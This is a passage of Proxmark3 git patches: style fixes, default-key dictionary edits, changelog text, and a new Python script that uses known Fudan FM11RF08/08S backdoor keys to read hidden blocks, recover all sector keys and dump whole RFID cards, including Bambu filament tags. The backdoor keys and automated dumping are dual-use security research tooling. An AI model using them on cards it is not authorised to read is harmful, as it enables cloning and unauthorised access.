SwigPyBuiltin_AddPublicSymbol(public_interface, swig_const_table[i].name); #endif - - SWIG_InstallConstants(d,swig_const_table); - + + SWIG_InstallConstants(d, swig_const_table); + #if PY_VERSION_HEX >= 0x03000000 - return m; + return m; #else - return; + return; #endif } diff --git a/doc/commands.json b/doc/commands.json index 7031a6922..1e9a8909a 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -8526,7 +8526,7 @@ "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11000 -> probing for Hitag 2/S", "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11010 -> probing for Hitag S", "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11000 -s 2000 -@ -> probing for Hitag 2/S, oscilloscope style", - "lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -c W0S00000010000E -> probing for Hitag \u00e6(micro)" + "lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -c W0S00000010000E -> probing for Hitag \u00b5(micro)" ], "offline": false, "options": [ @@ -9762,7 +9762,7 @@ "-1, --ht1 Card type Hitag 1", "-2, --ht2 Card type Hitag 2", "-s, --hts Card type Hitag S", - "-m, --htm Card type Hitag \u00ce\u00bc" + "-m, --htm Card type Hitag \u03bc" ], "usage": "lf hitag eload [-h12sm] -f " }, @@ -13005,6 +13005,6 @@ "metadata": { "commands_extracted": 749, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-11-02T12:57:51" + "extracted_on": "2024-11-02T14:09:48" } } From 3317175a826bdb66130fc5ee7eb680f7f97b14e9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 2 Nov 2024 15:14:55 +0100 Subject: [PATCH 058/155] style --- client/src/cmdhfthinfilm.c | 13 ++++++++++--- client/src/cmdlfem410x.c | 2 +- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/client/src/cmdhfthinfilm.c b/client/src/cmdhfthinfilm.c index 74a76e788..6a477e5f6 100644 --- a/client/src/cmdhfthinfilm.c +++ b/client/src/cmdhfthinfilm.c @@ -125,7 +125,7 @@ int infoThinFilm(bool verbose) { SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { + if (WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500) == false) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); return PM3_ETIMEOUT; } @@ -186,9 +186,16 @@ int CmdHfThinFilmSim(const char *Cmd) { int ret; while (!(ret = kbd_enter_pressed())) { - if (WaitForResponseTimeout(CMD_HF_THINFILM_SIMULATE, &resp, 500) == 0) continue; - if (resp.status != PM3_SUCCESS) break; + + if (WaitForResponseTimeout(CMD_HF_THINFILM_SIMULATE, &resp, 500) == 0) { + continue; + } + + if (resp.status != PM3_SUCCESS) { + break; + } } + if (ret) { PrintAndLogEx(INFO, "Client side interrupted"); PrintAndLogEx(WARNING, "Simulation still running on Proxmark3 till next command or button press"); diff --git a/client/src/cmdlfem410x.c b/client/src/cmdlfem410x.c index b8743998a..ebcd9ee8c 100644 --- a/client/src/cmdlfem410x.c +++ b/client/src/cmdlfem410x.c @@ -365,7 +365,7 @@ static int CmdEM410xDemod(const char *Cmd) { bool invert = arg_get_lit(ctx, 4); bool amplify = arg_get_lit(ctx, 5); uint8_t bin[512] = {0}; - int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 6, bin, &bin_len); CLIParserFree(ctx); From 690864e970229bf73487821ea879d7028609bb24 Mon Sep 17 00:00:00 2001 From: nvx Date: Sun, 3 Nov 2024 10:57:11 +1000 Subject: [PATCH 059/155] clear the prompt using ANSI "clear entire line" escape this replaces the old behaviour of using a fixed length of spaces which can sometimes fail to clear the entire line if it's too long --- client/src/proxmark3.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/proxmark3.c b/client/src/proxmark3.c index f098eaf6c..1beb93c2a 100644 --- a/client/src/proxmark3.c +++ b/client/src/proxmark3.c @@ -278,7 +278,7 @@ static void prompt_compose(char *buf, size_t buflen, const char *promptctx, cons if (no_newline) { snprintf(buf, buflen - 1, PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); } else { - snprintf(buf, buflen - 1, "\r \r" PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); + snprintf(buf, buflen - 1, "\33[2K\r" PROXPROMPT_COMPOSE, promptdev, promptnet, promptctx); } } From 411f777197bf2543a27314024bbfb3a0c42d6eea Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 3 Nov 2024 19:45:19 +0100 Subject: [PATCH 060/155] maur --- client/dictionaries/mfc_default_keys.dic | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 4879859d6..7123082c1 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -354,6 +354,8 @@ AFBECD121004 # Onity S1 A/B 8A19D40CF2B5 # +3961EA82C46D +# # 24-7 D21762B2DE3B 0E83A374B513 From 706f1248dd26065ede436c755239ddf8839fa206 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 3 Nov 2024 22:31:30 +0100 Subject: [PATCH 061/155] ...if I only actually make sure that the keys are unique before I merge peoples PR... --- client/dictionaries/t55xx_default_pwds.dic | 3 --- 1 file changed, 3 deletions(-) diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index a6d89e62e..570264306 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -167,6 +167,3 @@ F1EA5EED 93C467E3 # natural log 27182818 -#JAKCOM R5 smart ring default credentials http://www.jakcom.com/ins/r5/r5en.html -5469616E -51243648 From e544bbc2a768ca979987a248c9eb11383512908d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 3 Nov 2024 22:40:20 +0100 Subject: [PATCH 062/155] text --- CHANGELOG.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 36d637697..285027567 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,7 +19,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added an Makefile variable `DONT_BUILD_NATIVE` in mfd_aes_brute Makefile to easify downstream package - Auto detect whether compile option `march=native` is supported for mfd_aes_brute Makefile - Changed `hf mf sim` - support data-first and nested reader attacks (@doegox) -- Fixed em4x50_read() - `lf search` and `lf em 4x50 rdbl -b ` does not coredump reading EM4450 tag (@ANTodorov) +- Fixed `lf search` and `lf em 4x50 rdbl -b ` does not coredump reading EM4450 tag (@ANTodorov) - Fixed flashing - client doesnt fail every other flash attempt (@iceman1001) - Changed `pref show` - add option to dump as JSON (@doegox) - Changed `mf_backdoor_dump.py`- use faster ecfill/eview (@doegox) @@ -49,7 +49,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Changed `lf hitag hts read` -> `lf hitag hts rdbl` to fit rest of client command names (@iceman1001) - Changed `hf mf info` - Better handling when printing ATS (@iceman1001) - Changed to also try the MFC_B key when extracting memory (@iceman1001) -- Fixed parallel `make -j check` Thanks @elboulangero (@iceman1001) +- Fixed `make -j check` Thanks @elboulangero (@iceman1001) - Added support for 8268/8310 (@douniwan5788) - Changed scripting string params to accept 1024 chars, Thanks @evildaemond! (@iceman1001) - Added detection for FM11NT021 (@iceman1001) @@ -58,7 +58,6 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `hf 14a aidsim` - simulates a PICC (like `14a sim`), and allows you to respond to specific AIDs and getData responses (@evildaemond) - Fixed arguments for `SimulateIso14443aTag` and `SimulateIso14443aInit` in `hf_young.c`, `hf_aveful.c`, `hf_msdsal.c`, `hf_cardhopper.c`, `hf_reblay.c`, `hf_tcprst.c` and `hf_craftbyte.c` (@archi) - Added `mf_backdoor_dump.py` script that dumps FM11RF08S and similar (Mifare Classic 1k) tag data that can be directly read by known backdoor keys. (@Aptimex) -- Add JAKCOM R5 Smart Ring default t55x passwords to dictionary (@shellster) ## [Backdoor.4.18994][2024-09-10] - Changed flashing messages to be less scary (@iceman1001) From 3e1c21ac830f57795c72f881e61c066c270333d6 Mon Sep 17 00:00:00 2001 From: BlueChip Date: Mon, 4 Nov 2024 02:02:31 +0000 Subject: [PATCH 063/155] Fudan FM11R08* full-card recovery script; with Bambu tag support --- client/pyscripts/fm11rf08_full.py | 942 +++++++++++++++++++++++++ client/pyscripts/fm11rf08s_recovery.py | 2 +- 2 files changed, 943 insertions(+), 1 deletion(-) create mode 100644 client/pyscripts/fm11rf08_full.py diff --git a/client/pyscripts/fm11rf08_full.py b/client/pyscripts/fm11rf08_full.py new file mode 100644 index 000000000..115bc0bd8 --- /dev/null +++ b/client/pyscripts/fm11rf08_full.py @@ -0,0 +1,942 @@ +#!/usr/bin/env python3 + +#------------------------------------------------------------------------------ +# Revision log: +#------------------------------------------------------------------------------ +''' +1.1.0 - BC - Major refactor +1.0.0 - BC - Initial release +''' +script_ver = "1.1.0" + +''' +This was originally created for my local defcon chapter to aid teaching NFC. +We wanted a realistic challenge which could NOT be resolved by typing `autopwn`. +Enter FM11RF08S tags ... which (currently) don't get autopwn'ed. + +We decided the flag would be: The MD5 of the card data, +but this had to include all 8 documented Dark blocks AND all 32+2=34 Keys. +Not rocket surgery if you know what you're doing, but non-trivial for someone +who is still struggling to spell `autoporn` <-- yes, this happened! + +Ultimately we needed a tool by which to demo everything. +This is it; and this is me proffering it to the wider community. + +BlueChip +''' + +#------------------------------------------------------------------------------ +# Imports +# +import re +import os +import sys +import time +import argparse +import pm3 +import struct +import json +import requests + +from fm11rf08s_recovery import recovery + +# optional color support .. `pip install ansicolors` +try: + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + _ = fg + return str(s) + +#+============================================================================= +# Print and Log +# >> "logfile" +#============================================================================== +def startlog(uid, append = False): + global logfile + + logfile = f"{dpath}hf-mf-{uid:08X}-log.txt" + if append == False: + with open(logfile, 'w'): pass + +#+========================================================= +def lprint(s, end='\n', flush=False): + print(s, end=end, flush=flush) + + if logfile is not None: + with open(logfile, 'a') as f: + f.write(s + end) + +#++============================================================================ +# == MAIN == +# >> "prompt" +# >> p. [console handle] +# >> "keyfile" +#============================================================================== +def main(): + global prompt + global p + + prompt = "[bc]" + p = pm3.pm3() # console interface + + getPrefs() + checkVer() + parseCli() + + print(f"{prompt} Fudan FM11RF08[S] full card recovery") + print(f"{prompt} (C)Copyright BlueChip 2024") + print(f"{prompt} Licence: MIT (\"Free as in free.\")") + + print(prompt) + print(f"{prompt} Dump folder: {dpath}") + + getDarkKey() + decodeBlock0() + + global keyfile + + keyfile = f"{dpath}hf-mf-{uid:08X}-key.bin" + keyok = False + + if args.force == False and loadKeys() == True: + keyok = True + else: + if args.recover == False: + lprint(f"{prompt} * Keys not loaded, use --recover to run recovery script [slow]") + else: + recoverKeys() + if loadKeys() == True: keyok = True + + if keyok == True: + if verifyKeys() == False: + if args.nokeys == False: + lprint(f"{prompt} ! Use --nokeys to keep going past this point") + exit(101) + + readBlocks() + patchKeys(keyok) + + diskDump() # save it before you do anything else + + dumpData() + dumpAcl() + + if mad == True: dumpMad() + + if (args.bambu == True) or (detectBambu() == True): + dumpBambu() + + lprint(prompt) + lprint(f"{prompt} Tadah!") + + return + +#+============================================================================= +# Get PM3 preferences +# >> "dpath" +#============================================================================== +def getPrefs(): + global dpath + + p.console("prefs show --json") + prefs = json.loads(p.grabbed_output) + dpath = prefs['file.default.dumppath'] + os.path.sep + +#+============================================================================= +# Assert python version +#============================================================================== +def checkVer(): + required_version = (3, 8) + if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + exit() + +#+============================================================================= +# Parse the CLi arguments +# >> args. +#============================================================================== +def parseCli(): + global args + + parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08* cards.') + + parser.add_argument('-n', '--nokeys', action='store_true', help='extract data even if keys are missing') + parser.add_argument('-r', '--recover', action='store_true', help='run key recovery script if required') + parser.add_argument('-f', '--force', action='store_true', help='force recovery of keys') + parser.add_argument('-b', '--bambu', action='store_true', help='force Bambu tag decode') + parser.add_argument('-v', '--validate', action='store_true', help='check Fudan signature (requires internet)') + + args = parser.parse_args() + + if args.force == True: args.recover = True + +#+============================================================================= +# Find backdoor key +# >> "dkey" +# >> "blk0" +''' +[=] # | sector 00 / 0x00 | ascii +[=] ----+-------------------------------------------------+----------------- +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +''' +#============================================================================== +def getDarkKey(): + global dkey + global blk0 + + # FM11RF08S FM11RF08 FM11RF32 + dklist = ["A396EFA4E24F", "A31667A8CEC1", "518b3354E760"] + + print(prompt) + print(f"{prompt} Trying known backdoor keys...") + + dkey = "" + for k in dklist: + cmd = f"hf mf rdbl -c 4 --key {k} --blk 0" + print(f"{prompt} `{cmd}`", end='', flush=True) + res = p.console(f"{cmd}") + if res == 0: + print(" - success") + dkey = k; + break; + print(f" - fail [{res}]") + _ = p.grabbed_output + + if dkey == "": + print(f"{prompt}") + print(f"{prompt} ! Unknown key, or card not detected.") + exit(1) + + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + blk0 = line[10:56+1] + +#+============================================================================= +# Extract data from block 0 +# >> "uid" +# >> "uids" +#============================================================================== +def decodeBlock0(): + global uid + global uids + + # We do this early so we can name the logfile! + uids = blk0[0:11] # UID string : "11 22 33 44" + uid = int(uids.replace(' ', ''), 16) # UID (value) : 0x11223344 + startlog(uid, append=False) + + lprint(prompt) + lprint(f"{prompt} UID BCC ++----- RF08 ID -----++") + lprint(f"{prompt} ! ! SAK !! !!") + lprint(f"{prompt} ! ! ! ATQA !! RF08 Hash !!") + lprint(f"{prompt} !---------. !. !. !---. VV .---------------. VV") + # 0 12 15 18 24 27 45 + # ! ! ! ! ! ! ! + # 00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF + lprint(f"{prompt} Block 0 : {blk0}") + + # --- decode block 0 --- + + bcc = int(blk0[12:14], 16) # BCC + chk = 0 # calculate checksum + for h in uids.split(): + chk ^= int(h, 16) + + sak = int(blk0[15:17], 16) # SAK + atqa = int(blk0[18:23].replace(' ',''), 16) # 0x7788 + + fida = int(blk0[24:26], 16) # Fudan ID 0x88 + fidb = int(blk0[45:47], 16) # Fudan ID 0xFF + fid = (fida<<8)|fidb # Fudan ID 0x88FF + + hash = blk0[27:44] # Fudan hash "99 AA BB CC DD EE" + + type = f"[{fida:02X}:{fidb:02X}]" # type/name + if fidb == 0x90: + if fida == 0x01 or fida == 0x03 or fida == 0x04: + type += " - Fudan FM11RF08S" + + elif fidb == 0x1D: + if fida == 0x01 or fida == 0x02 or fida == 0x03: + type += " - Fudan FM11RF08" + + elif fidb == 0x91 or fidb == 0x98: + type += " - Fudan FM11RF08 (never seen in the wild)" + + else: + type += " - Unknown (please report)" + + # --- show results --- + + lprint(prompt) + + lprint(f"{prompt} UID/BCC : {uid:08X}/{bcc:02X} - ", end='') + if bcc == chk: lprint("verified") + else: lprint(f"fail. Expected {chk:02X}") + + lprint(f"{prompt} SAK : {sak:02X} - ", end='') + if sak == 0x01: lprint("NXP MIFARE TNP3xxx 1K") + elif sak == 0x08: lprint("NXP MIFARE CLASSIC 1k | Plus 1k | Ev1 1K") + elif sak == 0x09: lprint("NXP MIFARE Mini 0.3k") + elif sak == 0x10: lprint("NXP MIFARE Plus 2k") + elif sak == 0x18: lprint("NXP MIFARE Classic 4k | Plus 4k | Ev1 4k") + else: lprint("{unknown}") + + lprint(f"{prompt} ATQA : {atqa:04X}") # show ATQA + lprint(f"{prompt} Fudan ID : {type}") # show type + lprint(f"{prompt} Fudan Sig: {hash}") # show ?Partial HMAC? + lprint(f"{prompt} Dark Key : {dkey}") # show key + +#+============================================================================= +# Fudan validation +# >> "blk0" +#============================================================================== +def fudanValidate(): + global blk0 + + url = "https://rfid.fm-uivs.com/nfcTools/api/M1KeyRest" + hdr = "Content-Type: application/text; charset=utf-8" + post = f"{blk0.replace(' ','')}" + + lprint(prompt) + lprint(f"{prompt} Validator: `wget -q -O -" + f" --header=\"{hdr}\"" + f" --post-data \"{post}\"" + f" {url}" + " | json_pp`") + + if args.validate: + lprint(prompt) + lprint(f"{prompt} Check Fudan signature (requires internet)...") + + headers = { "Content-Type" : "application/text; charset=utf-8" } + resp = requests.post(url, headers=headers, data=post) + + if resp.status_code != 200: + lprint(f"{prompt} HTTP Error {resp.status_code} - check request not processed") + + else: + r = json.loads(resp.text) + lprint(f"{prompt} The man from Fudan, he say: {r['code']} - {r['message']}", end='') + if r['data'] is not None: + lprint(f" {{{r['data']}}}") + else: + lprint("") + else: + lprint(prompt) + lprint(f"{prompt} ...Use --validate to perform Fudan signature check automatically") + +#+============================================================================= +# Load keys from file +# If keys cannot be loaded AND --recover is specified, then run key recovery +# >> "keyfile" +# >> "key[17][2]" +# >> mad! +#============================================================================== +def loadKeys(): + global keyfile + global key + global mad + + key = [[0 for _ in range(2)] for _ in range(17)] # create a fresh array + + lprint(prompt) + lprint(f"{prompt} Load Keys from file: |{keyfile}|") + + try: + with (open(keyfile, "rb")) as fh: + for ab in [0, 1]: + for sec in range((16+2)-1): + key[sec][ab] = fh.read(6) + + except IOError as e: + return False + + return True + +#+============================================================================= +# Run key recovery script +# >> "keyfile" +#============================================================================== +def recoverKeys(): + global keyfile + + badrk = 0 # 'bad recovered key' count (ie. not recovered) + + lprint(prompt) + lprint(f"{prompt} Running recovery script, ETA: Less than 30 minutes") + + lprint(prompt) + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + + r = recovery(quiet=False) + keyfile = r['keyfile'] + rkey = r['found_keys'] + fdump = r['dumpfile'] + rdata = r['data'] + + lprint(f'{prompt} `-._,-\'"`-._,-"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,-\'"`-._,') + + for k in range(0, 16+1): + for ab in [0, 1]: + if rkey[k][ab] == "": + if badrk == 0: lprint(f"{prompt} Some keys were not recovered: ", end='') + else: lprint(f", ", end='') + badrk += 1 + + kn = k + if kn > 15: kn += 16 + lprint(f"[{kn}/", end='') + lprint("A]" if ab == 0 else "B]", end='') + if badrk > 0: lprint("") + +#+============================================================================= +# Verify keys +# >> "key[][]" +# >> mad! +#============================================================================== +def verifyKeys(): + global key + global mad + + badk = 0 + mad = False + + lprint(f"{prompt} Check keys..") + + for sec in range (0,16+1): # 16 normal, 1 dark + sn = sec + if (sn > 15): sn = sn + 16 + + for ab in [0, 1]: + bn = (sec * 4) + 3 + if bn >= 64: bn += 64 + + cmd = f"hf mf rdbl -c {ab} --key {key[sec][ab].hex()} --blk {bn}" + lprint(f"{prompt} `{cmd}`", end='', flush=True) + + res = p.console(f"{cmd}") + lprint(" " * (3-len(str(bn))), end="") + if res == 0: + lprint(" ... PASS", end="") + else: + lprint(" ... FAIL", end="") + badk += 1 + key[sec][ab] = "" + + # check for Mifare Application Directory + if (sec == 0) and (ab == 0) \ + and (key[0][0] == b'\xa0\xa1\xa2\xa3\xa4\xa5'): + mad = True + lprint(" - MAD Key") + else: + lprint("") + + # We need to flush all the output we just collected + _ = p.grabbed_output + + if badk > 0: + lprint(f"{prompt} ! {badk} bad key", end='') + lprint("s exist" if badk != 1 else " exists") + rv = False + + else: + lprint(f"{prompt} All keys verified OK") + rv = True + + if mad == True: + lprint(f"{prompt} MAD key detected") + + return rv + +#+============================================================================= +# Read all block data - INCLUDING Dark blocks +# >> blkn +# >> "data[]" +''' +[=] # | sector 00 / 0x00 | ascii +[=] ----+-------------------------------------------------+----------------- +[=] 0 | 5C B4 9C A6 D2 08 04 00 04 59 92 25 BF 5F 70 90 | \........Y.%._p. +''' +#============================================================================== +def readBlocks(): + global data + global blkn + + data = [] + blkn = list(range(0, 63+1)) + list(range(128, 135+1)) + + # The user uses keyhole #1 (-a) + # The vendor uses keyhole #2 (-b) + # The thief uses keyhole #4 (backdoor) + # |___ + rdbl = f"hf mf rdbl -c 4 --key {dkey} --blk" + + lprint(prompt) + lprint(prompt + " Load blocks {0..63, 128..135}[64+8=72] from the card") + + bad = 0 + for n in blkn: + cmd = f"{rdbl} {n}" + print(f"\r{prompt} `{cmd}`", end='', flush=True) + + for retry in range(5): + p.console(f"{cmd}") + + found = False + for line in p.grabbed_output.split('\n'): + if " | " in line and "# | s" not in line: + l = line[4:76] + data.append(l) + found = True + if found: break + + if not found: + data.append(f"{n:3d} | -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- | ----------------") + bad += 1 + + print(" .. OK") + +#+============================================================================= +# Patch keys in to data +# >> "key[][]" +# >> "data[]" +# >> keyok! +''' + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +''' +#============================================================================== +def patchKeys(keyok): + global key + global data + + lprint(prompt) + lprint(f"{prompt} Patch keys in to data") + + for sec in range(0, 16+1): + blk = (sec * 4) +3 # find "trailer" for this sector + if keyok: + if key[sec][0] == "": + keyA = "-- -- -- -- -- -- " + else: + kstr = key[sec][0].hex() + keyA = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + + if key[sec][1] == "": + keyB = "-- -- -- -- -- -- " + else: + kstr = key[sec][1].hex() + keyB = "".join([kstr[i:i+2] + " " for i in range(0, len(kstr), 2)]) + + data[blk] = data[blk][:6] + keyA + data[blk][24:36] + keyB + + else: + data[blk] = data[blk][:6] + "-- -- -- -- -- -- " + data[blk][24:36] + "-- -- -- -- -- --" + +#+============================================================================= +# Dump data +# >> blkn +# >> "data[]" +#============================================================================== +def dumpData(): + global blkn + global data + + lprint(prompt) + lprint(f"{prompt} ===========") + lprint(f"{prompt} Card Data") + lprint(f"{prompt} ===========") + lprint(f"{prompt}") + + cnt = 0 + for n in blkn: + sec = (cnt // 4) + if sec > 15: sec = sec + 16 + + if (n % 4 == 0): + lprint(f"{prompt} {sec:2d}:{data[cnt]}") + else: + lprint(f"{prompt} :{data[cnt]}") + + cnt += 1 + if (cnt % 4 == 0) and (n != blkn[-1]): # Space between sectors + lprint(prompt) + +#+============================================================================= +# Let's try to detect a Bambu card by the date strings... +#============================================================================== +def detectBambu(): + try: + dl = bytes.fromhex(data[12][ 6:53]).decode('ascii').rstrip('\x00') + dls = dl[2:13] + ds = bytes.fromhex(data[13][ 6:41]).decode('ascii').rstrip('\x00') + except Exception as e: + return False + + # ds 24_03_22_16 + # dl 2024_03_22_16_29 + # yy y y m m d d h h m m + exp = r"20[2-3][0-9]_[0-1][0-9]_[0-3][0-9]_[0-2][0-9]_[0-5][0-9]" + + lprint(f"{prompt}") + if re.search(exp, dl) and (ds == dls): + lprint(f"{prompt} Bambu date strings detected.") + return True + else: + lprint(f"{prompt} Bambu date strings not detected.") + return False + + +#+============================================================================= +# Dump bambu details +# https://github.com/Bambu-Research-Group/RFID-Tag-Guide/blob/main/README.md +# >> "data[]" +''' + 6 18 30 42 53 + | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... +''' +#+============================================================================= +def dumpBambu(): + global data + + try: + lprint(f"{prompt}") + lprint(f"{prompt} ===========") + lprint(f"{prompt} Bambu Tag") + lprint(f"{prompt} ===========") + lprint(f"{prompt}") + lprint(f"{prompt} Decompose as Bambu tag .. ", end='') + + MaterialVariantIdentifier_s = bytes.fromhex(data[1][ 6:29]).decode('ascii').rstrip('\x00') + UniqueMaterialIdentifier_s = bytes.fromhex(data[1][30:53]).decode('ascii').rstrip('\x00') #[**] 8not16 + + FilamentType_s = bytes.fromhex(data[2][ 6:53]).decode('ascii').rstrip('\x00') + + DetailedFilamentType_s = bytes.fromhex(data[4][ 6:53]).decode('ascii').rstrip('\x00') + + Colour_rgba = int(data[5][ 6:17].replace(' ',''), 16) + SpoolWeight_g = int(data[5][21:23] + data[5][18:20], 16) + Block5_7to8 = data[5][24:29] + FilamentDiameter_mm = struct.unpack('f', bytes.fromhex(data[5][30:41].replace(' ','')))[0] + Block5_12to15 = data[5][42:50] + + DryingTemperature_c = int(data[6][ 9:11] + data[6][ 6: 8], 16) + DryingTime_h = int(data[6][15:17] + data[6][12:14], 16) + BedTemperatureType_q = int(data[6][21:23] + data[6][18:20], 16) + BedTemperature_c = int(data[6][27:29] + data[6][24:26], 16) + MaxTemperatureForHotend_c = int(data[6][33:35] + data[6][30:32], 16) + MinTemperatureForHotend_c = int(data[6][39:41] + data[6][36:38], 16) + Block6_12to15 = data[6][42:50] + +# XCamInfo_x = bytes.fromhex(data[8][ 6:41].replace(' ','')) + XCamInfo_x = data[8][ 6:41] + NozzleDiameter_q = struct.unpack('f', bytes.fromhex(data[8][42:53].replace(' ','')))[0] + +# TrayUID_s = bytes.fromhex(data[9][ 6:53]).decode('ascii').rstrip('\x00') #[**] !ascii + TrayUID_s = data[9][ 6:53] + + Block10_0to3 = data[10][ 6:17] + SppolWidth_um = int(data[10][21:23] + data[14][18:20], 16) + Block10_6to15 = data[10][24:50] + + ProductionDateTime_s = bytes.fromhex(data[12][ 6:53]).decode('ascii').rstrip('\x00') + + ShortProductionDateTime_s = bytes.fromhex(data[13][ 6:53]).decode('ascii').rstrip('\x00') + + Block14_0to3 = data[14][ 6:17] + FilamentLength_m = int(data[14][21:23] + data[14][18:20], 16) + Block14_6to15 = data[14][24:51] + + # (16blocks * 16bytes = 256) * 8bits = 2048 bits + hblk = [42, 44,45,46, 48,49,50, 52,53,54, 56,57,58, 60,61,62] + Hash = [] + for b in hblk: + Hash.append(data[b][6:53]) + + lprint("[offset:length]") + lprint(f"{prompt} Block 1:") + lprint(f"{prompt} [ 0: 8] MaterialVariantIdentifier_s = \"{MaterialVariantIdentifier_s}\"") + lprint(f"{prompt} [ 8: 8] UniqueMaterialIdentifier_s = \"{UniqueMaterialIdentifier_s}\"") + lprint(f"{prompt} Block 2:") + lprint(f"{prompt} [ 0:16] FilamentType_s = \"{FilamentType_s}\"") + lprint(f"{prompt} Block 4:") + lprint(f"{prompt} [ 0:16] DetailedFilamentType_s = \"{DetailedFilamentType_s}\"") + lprint(f"{prompt} Block 5:") + lprint(f"{prompt} [ 0: 4] Colour_rgba = 0x{Colour_rgba:08X}") + lprint(f"{prompt} [ 4: 2] SpoolWeight_g = {SpoolWeight_g}g") + lprint(f"{prompt} [ 6: 2] Block5_7to8 = {{{Block5_7to8}}}") + lprint(f"{prompt} [ 8: 4] FilamentDiameter_mm = {FilamentDiameter_mm}mm") + lprint(f"{prompt} [12: 4] Block5_12to15 = {{{Block5_12to15}}}") + lprint(f"{prompt} Block 6:") + lprint(f"{prompt} [ 0: 2] DryingTemperature_c = {DryingTemperature_c}^C") + lprint(f"{prompt} [ 2: 2] DryingTime_h = {DryingTime_h}hrs") + lprint(f"{prompt} [ 4: 4] BedTemperatureType_q = {BedTemperatureType_q}") + lprint(f"{prompt} [ 6: 2] BedTemperature_c = {BedTemperature_c}^C") + lprint(f"{prompt} [ 8: 2] MaxTemperatureForHotend_c = {MaxTemperatureForHotend_c}^C") + lprint(f"{prompt} [10: 2] MinTemperatureForHotend_c = {MinTemperatureForHotend_c}^C") + lprint(f"{prompt} [12: 4] Block6_12to15 = {{{Block6_12to15}}}") + lprint(f"{prompt} Block 8:") + lprint(f"{prompt} [ 0:12] XCamInfo_x = {{{XCamInfo_x}}}") + lprint(f"{prompt} [12: 4] NozzleDiameter_q = {NozzleDiameter_q:.6f}__") + lprint(f"{prompt} Block 9:") +# lprint(f"{prompt} [ 0:16] TrayUID_s = \"{TrayUID_s}\"") + lprint(f"{prompt} [ 0:16] TrayUID_s = {{{TrayUID_s}}} ; not ASCII") + lprint(f"{prompt} Block 10:") + lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f"{prompt} [ 4: 2] SppolWidth_um = {SppolWidth_um}um") + lprint(f"{prompt} [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"{prompt} Block 12:") + lprint(f"{prompt} [ 0:16] ProductionDateTime_s = \"{ProductionDateTime_s}\"") + lprint(f"{prompt} Block 13:") + lprint(f"{prompt} [ 0:16] ShortProductionDateTime_s = \"{ShortProductionDateTime_s}\"") + lprint(f"{prompt} Block 14:") + lprint(f"{prompt} [ 0: 4] Block10_0to3 = {{{Block10_0to3}}}") + lprint(f"{prompt} [ 4: 2] FilamentLength_m = {FilamentLength_m}m") + lprint(f"{prompt} [ 6:10] Block10_6to15 = {{{Block10_6to15}}}") + lprint(f"{prompt}") + lprint(f"{prompt} Blocks {hblk}:") + for i in range(0, len(hblk)): + lprint(f"{prompt} [ 0:16] HashBlock[{i:2d}] = {{{Hash[i]}}} // #{hblk[i]:2d}") + + except Exception as e: + lprint(f"Failed: {e}") + +#+============================================================================= +# Dump ACL +# >> "data[][]" +''' + 6 18 24 27 30 33 42 53 + | | | | | | | | + 3 | 00 00 00 00 00 00 87 87 87 69 00 00 00 00 00 00 | .........i...... + ab cd ef +''' +''' + ,-------------------. +( 2.2 : ACCESS BITS ) + `-------------------' + + The Access bits on both (used) Sectors is the same: 78 77 88 + + Let's reorganise that according to the official spec Fig 9. + Access C1 C2 C3 + ========== =========== + 78 77 88 --> 78 87 87 + ab cd ef --> cb fa ed + + The second nybble of each byte is the 